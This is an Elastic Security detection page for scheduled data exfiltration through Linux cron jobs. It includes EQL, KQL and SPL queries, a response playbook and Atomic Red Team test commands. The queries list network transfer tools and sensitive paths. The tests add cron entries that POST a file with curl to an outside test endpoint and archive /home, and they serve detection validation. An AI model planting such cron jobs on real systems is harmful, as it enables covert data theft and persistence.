THREAT-Exfiltration-LinuxCronScheduledExfil Elastic Security · Elastic

Detect Scheduled Data Exfiltration via Linux Cron Jobs in Elastic Security

Adversaries who compromise Linux servers, containers, or cloud instances frequently use cron — the native Linux job scheduler — to establish recurring, low-and-slow data exfiltration rather than a single large transfer. A malicious crontab entry or drop file in /etc/cron.d/ can invoke curl, wget, scp, rsync, or nc at a fixed interval to stage and transmit archived data (tar/zip of /home, /var/www, database dump directories, or cloud instance metadata) to an external destination, blending with legitimate scheduled maintenance jobs. This pattern is common on internet-facing Linux servers, self-managed databases, and container hosts, and is frequently paired with cron-based persistence mechanisms. The existing T1029 baseline detection in this platform is written entirely against Windows/Microsoft Defender for Endpoint telemetry (DeviceNetworkEvents beaconing, Task Scheduler) and does not address the Linux cron equivalent, leaving a platform gap for organizations running Linux infrastructure.

MITRE ATT&CK

Tactic
Exfiltration

Elastic Detection Query

Elastic Security (Elastic)
eql 
process where host.os.family == "linux" and event.type == "start" and (
  (process.name == "crontab" and process.args in ("-e", "-l", "-u")) or
  (process.parent.name in ("cron", "crond", "anacron") and
   process.name in ("curl", "wget", "scp", "rsync", "nc", "ncat", "socat")) or
  (process.parent.name in ("cron", "crond", "anacron") and
   process.name in ("tar", "zip", "gzip", "7z") and
   process.command_line : ("*/home*", "*/var/www*", "*shadow*", "*mysql*", "*/root*"))
)
high severity medium confidence

Detects Linux cron-based scheduled exfiltration using Elastic Endpoint (Auditbeat/Elastic Agent) process events. Matches crontab modification commands, cron/crond/anacron spawning network transfer utilities, and cron spawning archive tools targeting sensitive directories — the stage-then-transfer pattern common to Linux cloud-worm and ransomware double-extortion campaigns.

Data Sources

Elastic Endpoint Security (Linux)Auditbeat (auditd module)

Required Tables

logs-endpoint.events.process-*auditbeat-*

False Positives & Tuning

  • Documented backup/replication cron jobs using rsync or scp to a known backup server
  • Configuration management agents invoking curl/wget from cron for scheduled convergence
  • Certbot/ACME renewal cron jobs invoking curl for challenge validation

Other platforms for THREAT-Exfiltration-LinuxCronScheduledExfil

Microsoft Sentinel (KQL) Splunk (SPL) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 2 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Add Cron Job Spawning curl to External Host

    Expected signal: auditd EXECVE record for crontab with '-' (replace) argument. Subsequent auditd EXECVE record for curl spawned with comm=cron/crond as parent, invoking the httpbin.org POST.

  2. Test 2Cron-Triggered Archive and Stage of Home Directory

    Expected signal: auditd EXECVE record for tar with comm=cron/crond as parent, arguments including '/home' as the target path.

Last updated: 2026-07-14 Research depth: deep
References (4)

Response Playbook

Triage

  1. Pull the full crontab for the affected user and root (crontab -l -u <user>; cat /etc/cron.d/*; cat /etc/crontab) — compare against a known-good baseline or configuration management source of truth to identify unauthorized entries.
  2. Review the exact command in the suspicious cron entry: does it reference an external IP/domain, encode data (base64), or target sensitive directories (/etc/shadow, /home, database data directories, .ssh keys)?
  3. Determine the interval: a cron job firing every few minutes targeting a small amount of data is consistent with low-and-slow exfiltration designed to evade volume-based network monitoring; a once-daily job is more consistent with (but not proof of) a legitimate backup.
  4. Check who created/modified the crontab entry and when: correlate against recent authentication events, sudo usage, or a known compromise timeline (webshell upload, SSH brute-force success, container escape).
  5. Check for accompanying persistence mechanisms: cron is frequently paired with a reverse shell or downloader also scheduled via cron/systemd timers — review all recently added scheduled jobs, not just the one that matched this detection.
  6. If the destination is an IP rather than a domain, check whether it resolves to cloud storage, a VPS provider, or a residential/anonymizing proxy range — cloud VPS destinations are common for attacker-controlled exfil endpoints.

Containment

  1. Remove the malicious cron entry immediately (crontab -r for the affected user's crontab, or delete the offending /etc/cron.d/ file) and restart the cron/crond service.
  2. Block the destination IP/domain at the network egress firewall.
  3. Rotate credentials for any account associated with the malicious cron entry, and review/rotate SSH keys if the host may have been used to pivot further.
  4. Isolate the host from the network if active, ongoing exfiltration is confirmed and the host does not serve a real-time production function that would cause unacceptable business impact — otherwise apply a targeted egress block first.
  5. Preserve a forensic copy of the crontab files, auditd logs, and any staged archive files before remediation.

Evidence Collection

  1. Crontab contents: /var/spool/cron/crontabs/<user>, /etc/crontab, /etc/cron.d/*, /etc/cron.{hourly,daily,weekly,monthly}/*
  2. Auditd EXECVE records for the cron/crond/anacron parent process and its children over the past 7-30 days
  3. Shell history for the account that created the cron entry (~/.bash_history, ~/.zsh_history) if interactively created
  4. Any staged archive files left in /tmp, /var/tmp, or other world-writable directories referenced by the cron command
  5. Network flow/firewall logs for the destination IP/domain referenced in the cron command, to quantify data volume already transferred
  6. systemd timer units (systemctl list-timers) as an alternate/companion persistence mechanism to cron that should also be reviewed

Escalation Criteria

  • !Cron entry confirmed to transfer data to an external, non-corporate destination on a recurring schedule
  • !Cron entry targets highly sensitive paths (/etc/shadow, SSH private keys, database credential files, customer data directories)
  • !Multiple hosts show the same or similar cron entries, indicating lateral spread or a worm-like campaign (a well-documented pattern in cloud-focused Linux intrusion sets that install cron-based exfiltration and persistence across compromised fleets)
  • !The cron entry was created via a webshell, container escape, or other confirmed initial-access vector requiring full incident response

Investigation Guide

Related Techniques

T1029 — Scheduled Transfer (parent technique)T1053.003 — Scheduled Task/Job: Cron (the persistence mechanism used to establish the recurring transfer)T1048 — Exfiltration Over Alternative Protocol (the actual transfer protocol invoked by the cron job)T1560 — Archive Collected Data (the staging step preceding transfer)T1611 — Escape to Host (common initial access vector on containerized Linux hosts preceding cron-based exfiltration)

Forensic Artifacts

  • >/var/spool/cron/crontabs/<user> — per-user crontab file with full modification timestamp (compare mtime against known change windows)
  • >/etc/cron.d/*, /etc/crontab — system-wide cron drop-in files, a common location for attacker-planted entries since they run as root by default
  • >auditd logs (/var/log/audit/audit.log) — EXECVE records showing cron/crond spawning child processes with full argv
  • >Shell history files and .bash_history timestamps correlating to the crontab modification time
  • >syslog/journalctl cron logs (CRON[<pid>]: entries) showing historical execution times of the malicious job, useful for establishing how long the exfiltration has been running

Tuning Guidance

Start by inventorying every legitimate cron-driven backup, replication, and configuration-management job across your Linux fleet — these are the primary source of false positives for Signal 2 and Signal 3. Build an allowlist keyed on the combination of source host, destination host/IP, and invoking account rather than suppressing the transfer tool itself, since curl/rsync/scp are used by both legitimate automation and attackers. For Signal 1 (crontab modification), the false-positive rate is low in environments where crontab changes are supposed to flow exclusively through configuration management (Ansible/Puppet/Chef) rather than manual crontab -e — in such environments, any interactive crontab -e invocation is itself a policy violation worth alerting on regardless of the resulting job content. Where manual cron administration is normal, focus tuning on Signal 2/3's destination and path filters instead.

Hunting Queries

30-day hunt for hosts and accounts where cron repeatedly (5+ times) spawns a network transfer tool — establishes both a baseline of expected/legitimate scheduled transfer jobs (to allowlist) and surfaces any low-and-slow exfiltration that has been running under the real-time detection's radar.

Hunting — KQL
kql 
DeviceProcessEvents
| where Timestamp > ago(30d)
| where DeviceOS =~ "Linux"
| where InitiatingProcessFileName in~ ("cron", "crond", "anacron")
| where FileName in~ ("curl", "wget", "scp", "rsync", "nc", "ncat", "socat")
| summarize Executions=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp), Commands=make_set(ProcessCommandLine, 20)
    by DeviceName, AccountName, FileName
| where Executions >= 5
| sort by Executions desc
Hunting — SPL
spl 
index=linux sourcetype="linux:audit" type=EXECVE comm IN ("cron","crond","anacron")
  exe IN ("*/curl","*/wget","*/scp","*/rsync","*/nc","*/ncat","*/socat")
| stats count as Executions, values(a0) as Commands by host, uid, exe
| where Executions >= 5
| sort - Executions

Atomic Red Team Tests

Test 1 Add Cron Job Spawning curl to External Host
linux

Adds a cron entry that invokes curl against an external test endpoint, simulating a cron-based exfiltration job. Uses a benign public test endpoint; no actual data is exfiltrated.

Command

bash 
(crontab -l 2>/dev/null; echo "*/5 * * * * curl -s -X POST -d @/tmp/df00tech-test.txt https://httpbin.org/post") | crontab -

Cleanup

bash 
crontab -l | grep -v 'df00tech-test.txt' | crontab -

Expected Telemetry

auditd EXECVE record for crontab with '-' (replace) argument. Subsequent auditd EXECVE record for curl spawned with comm=cron/crond as parent, invoking the httpbin.org POST.

Expected Detection

KQL/SPL 'CrontabModified' fires on the crontab invocation; 'CronSpawnedTransferTool' fires on the subsequent curl execution with cron as the initiating process.

Test 2 Cron-Triggered Archive and Stage of Home Directory
linux

Adds a cron entry that archives the /home directory to /tmp, simulating the staging step of a cron-based exfiltration chain.

Command

bash 
(crontab -l 2>/dev/null; echo "*/10 * * * * tar -czf /tmp/df00tech-staged.tar.gz /home") | crontab -

Cleanup

bash 
crontab -l | grep -v 'df00tech-staged' | crontab -; rm -f /tmp/df00tech-staged.tar.gz

Expected Telemetry

auditd EXECVE record for tar with comm=cron/crond as parent, arguments including '/home' as the target path.

Expected Detection

KQL/SPL 'CronArchiveStaging' fires on the tar execution referencing the /home path with cron as initiating process.

Related Detections

Tactic Hub

TA0010Exfiltration

Detection Variants (3)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1029Scheduled Transfer

Related Techniques

T1029Scheduled TransferT1053.003CronT1048Exfiltration Over Alternative ProtocolT1560Archive Collected DataT1611Escape to Host

Same Tactic: Exfiltration

Popular Detections